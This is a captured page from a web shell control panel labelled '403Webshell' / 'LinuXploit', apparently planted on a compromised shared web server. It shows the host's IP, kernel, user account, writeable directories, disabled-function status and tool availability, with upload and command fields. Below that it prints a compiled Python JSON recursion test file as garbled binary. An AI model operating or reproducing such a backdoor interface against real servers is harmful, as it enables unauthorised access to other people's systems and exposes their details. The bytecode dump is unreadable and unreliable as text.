403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.109
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/test_recursion.cpython-36.pyc
3

�w2_��@sTddlmZmZGdd�d�ZGdd�d�ZGdd�dee�ZGdd	�d	ee�Zd
S)�)�PyTest�CTestc@seZdZdS)�JSONTestObjectN)�__name__�
__module__�__qualname__�rr�B/opt/alt/python36/lib64/python3.6/test/test_json/test_recursion.pyrsrc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�
TestRecursioncCs�g}|j|�y|j|�Wntk
r0YnX|jd�g}|g}|j|�y|j|�Wntk
rrYnX|jd�g}||g}|j|�dS)Nz)didn't raise ValueError on list recursionz5didn't raise ValueError on alternating list recursion)�append�dumps�
ValueError�fail)�self�x�yrrr	�test_listrecursion	s$



z TestRecursion.test_listrecursioncCsVi}||d<y|j|�Wntk
r.YnX|jd�i}||d�}|j|�dS)NZtestz)didn't raise ValueError on dict recursion)�a�b)rr
r)rrrrrr	�test_dictrecursion s

z TestRecursion.test_dictrecursioncCsdGdd�d|jj�}|�}|j|jt�d�d|_y|jt�Wntk
rTYnX|jd�dS)Nc@seZdZdZdd�ZdS)zATestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoderFcSs$|tkr|jrtgSdStjj|�S)Nr)r�recurseZpyjson�JSONEncoder�default)r�orrr	r1s
zITestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoder.defaultN)rrrrrrrrr	�RecursiveJSONEncoder/srz"JSONTestObject"Tz,didn't raise ValueError on default recursion)�jsonrZassertEqual�encoderrr
r)rr�encrrr	�test_defaultrecursion.s
z#TestRecursion.test_defaultrecursioncCs�|jt�� |jddddd�WdQRX|jt�� |jddddd�WdQRX|jt�� |jddddd�WdQRXdS)Nz{"a":i���1�}z[1]�[�])�assertRaises�RecursionError�loads)rrrr	�#test_highly_nested_objects_decodingDs$$z1TestRecursion.test_highly_nested_objects_decodingcCspgi}}x td�D]}|gd|i}}qW|jt��|j|�WdQRX|jt��|j|�WdQRXdS)Ni���k)�ranger#r$r)r�l�drrrr	�#test_highly_nested_objects_encodingNs
z1TestRecursion.test_highly_nested_objects_encodingc
Cs>Gdd�d|jj�}|jt��|dd�jd�WdQRXdS)Nc@seZdZdd�ZdS)z@TestRecursion.test_endless_recursion.<locals>.EndlessJSONEncodercSs|gS)z?If check_circular is False, this will keep adding another list.r)rrrrr	r[szHTestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoder.defaultN)rrrrrrrr	�EndlessJSONEncoderZsr,F)Zcheck_circulary@)rrr#r$r)rr,rrr	�test_endless_recursionXsz$TestRecursion.test_endless_recursionN)	rrrrrrr&r+r-rrrr	r
s

r
c@seZdZdS)�TestPyRecursionN)rrrrrrr	r.csr.c@seZdZdS)�TestCRecursionN)rrrrrrr	r/dsr/N)Ztest.test_jsonrrrr
r.r/rrrr	�<module>s[

Youez - 2016 - github.com/yon3zu
LinuXploit